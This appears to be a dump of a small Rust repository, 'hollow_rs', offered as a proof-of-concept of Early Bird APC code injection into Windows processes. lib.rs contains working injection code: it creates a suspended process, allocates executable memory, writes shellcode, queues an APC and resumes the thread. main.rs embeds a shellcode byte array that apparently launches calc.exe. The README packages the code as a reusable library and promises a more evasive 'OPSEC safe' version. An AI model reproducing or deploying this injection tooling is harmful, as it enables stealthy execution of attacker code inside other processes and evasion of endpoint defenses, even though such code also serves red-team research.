├── Cargo.toml ├── LICENSE ├── README.md └── src ├── lib.rs └── main.rs /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "hollow_rs" 3 | version = "0.1.0" 4 | edition = "2021" 5 | #author = "@teach2breach" 6 | 7 | [dependencies] 8 | winapi = { version = "0.3.9", features = ["processthreadsapi", "memoryapi", "winbase"]} 9 | 10 | [profile.release] 11 | opt-level = "z" # Optimize for size. 12 | lto = true # Enable Link Time Optimization 13 | codegen-units = 1 # Reduce number of codegen units to increase optimizations. 14 | panic = "abort" # Abort on panic 15 | strip = true # Automatically strip symbols from the binary. -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Kirk Trychel 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #### Process Hollowing in Rust 2 | 3 | A Rust PoC implementation of the Early Bird process hollowing technique, inspired by [@boku7/HOLLOW](https://github.com/boku7/HOLLOW). This version reimplements the core functionality in Rust while maintaining direct Windows API interactions through the `winapi` crate. 4 | 5 | ##### Overview 6 | 7 | This library provides process hollowing capabilities using the Early Bird injection technique, implemented in Rust. It: 8 | - Creates a new process in a suspended state 9 | - Allocates memory in the target process 10 | - Injects shellcode into the allocated memory 11 | - Queues an APC to execute the shellcode 12 | - Resumes the target process 13 | 14 | ##### Note 15 | 16 | This version does not use dynamic resolution of APIs or other OPSEC safe considerations. I'll push a more OPSEC safe version in the future on the 'opsec' branch. Usually about 1 month after initial repo release. 17 | 18 | ##### Usage 19 | 20 | Add this to your `Cargo.toml`: 21 | 22 | ```toml 23 | [dependencies] 24 | hollow_rs = { git = "https://github.com/Teach2Breach/hollow_rs" } 25 | ``` 26 | 27 | ##### Example 28 | 29 | ```rust 30 | use hollow_rs::wrapper; 31 | 32 | wrapper("notepad.exe", &SHELL_CODE); 33 | ``` 34 | 35 | ##### Video of creating this PoC 36 | 37 | [watch on X](https://x.com/Teach2Breach/status/1887594765165752772) 38 | -------------------------------------------------------------------------------- /src/lib.rs: -------------------------------------------------------------------------------- 1 | use winapi::shared::basetsd::SIZE_T; 2 | use winapi::um::memoryapi::WriteProcessMemory; 3 | use winapi::um::processthreadsapi::CreateProcessA; 4 | use winapi::um::memoryapi::VirtualAllocEx; 5 | use winapi::um::processthreadsapi::QueueUserAPC; 6 | use winapi::um::processthreadsapi::ResumeThread; 7 | 8 | pub fn wrapper(process_name: &str, shellcode: &[u8]) -> String { 9 | inject(process_name, shellcode) 10 | } 11 | 12 | fn inject(process_name: &str, shellcode: &[u8]) -> String { 13 | // Create startup info struct 14 | let mut si = unsafe { std::mem::zeroed::() }; 15 | si.cb = std::mem::size_of::() as u32; 16 | 17 | // Create process info struct 18 | let mut pi = unsafe { std::mem::zeroed::() }; 19 | 20 | // Create process in suspended state 21 | let command_line_with_null: Vec = process_name.bytes().chain(std::iter::once(0)).collect(); 22 | let success = unsafe { 23 | CreateProcessA( 24 | std::ptr::null_mut(), 25 | command_line_with_null.as_ptr() as *mut i8, 26 | std::ptr::null_mut(), 27 | std::ptr::null_mut(), 28 | 0, 29 | winapi::um::winbase::CREATE_SUSPENDED, 30 | std::ptr::null_mut(), 31 | std::ptr::null_mut(), 32 | &mut si, 33 | &mut pi 34 | ) 35 | }; 36 | 37 | if success == 0 { 38 | return format!("Failed to create process: {}", process_name); 39 | } 40 | 41 | // Get the process handle 42 | let process_handle = pi.hProcess; 43 | 44 | // Allocate memory in the target process 45 | let remote_buffer = unsafe { 46 | VirtualAllocEx( 47 | process_handle, 48 | std::ptr::null_mut(), 49 | shellcode.len() as SIZE_T, 50 | winapi::um::winnt::MEM_COMMIT, 51 | winapi::um::winnt::PAGE_EXECUTE_READ 52 | ) 53 | }; 54 | 55 | if remote_buffer.is_null() { 56 | return String::from("Failed to allocate memory in target process"); 57 | } 58 | 59 | // Write the shellcode to the allocated memory 60 | let written = unsafe { 61 | WriteProcessMemory( 62 | process_handle, 63 | remote_buffer, 64 | shellcode.as_ptr() as *const winapi::ctypes::c_void, 65 | shellcode.len() as SIZE_T, 66 | std::ptr::null_mut() 67 | ) 68 | }; 69 | 70 | if written == 0 { 71 | return String::from("Failed to write shellcode to target process"); 72 | } 73 | 74 | // Queue the shellcode to be executed 75 | let apc_result = unsafe { 76 | QueueUserAPC( 77 | std::mem::transmute(remote_buffer), 78 | pi.hThread, 79 | 0 80 | ) 81 | }; 82 | 83 | if apc_result == 0 { 84 | return String::from("Failed to queue shellcode for execution"); 85 | } 86 | 87 | //resume the thread 88 | let resume = unsafe { 89 | ResumeThread(pi.hThread) 90 | }; 91 | 92 | if resume == 0 { 93 | return String::from("Failed to resume thread"); 94 | } 95 | 96 | format!("Successfully injected shellcode into process: {}", process_name) 97 | } -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | use hollow_rs::*; 2 | 3 | pub const SHELL_CODE: [u8; 276] = [ 4 | 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 5 | 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 6 | 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 7 | 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 8 | 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 9 | 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 10 | 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 11 | 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 12 | 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 13 | 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 14 | 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 15 | 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 16 | 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 17 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 18 | 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 19 | 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 20 | 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 21 | 0x65, 0x78, 0x65, 0x00, 22 | ]; 23 | 24 | fn main() { 25 | //get the process name from the user as a command line argument 26 | let process_name = std::env::args().nth(1).unwrap_or_else(|| { 27 | eprintln!("Error: Missing process name"); 28 | eprintln!("Usage: {} ", std::env::args().nth(0).unwrap_or("program".to_string())); 29 | std::process::exit(1); 30 | }); 31 | 32 | let result = wrapper(&process_name, &SHELL_CODE); 33 | println!("{}", result); 34 | } 35 | --------------------------------------------------------------------------------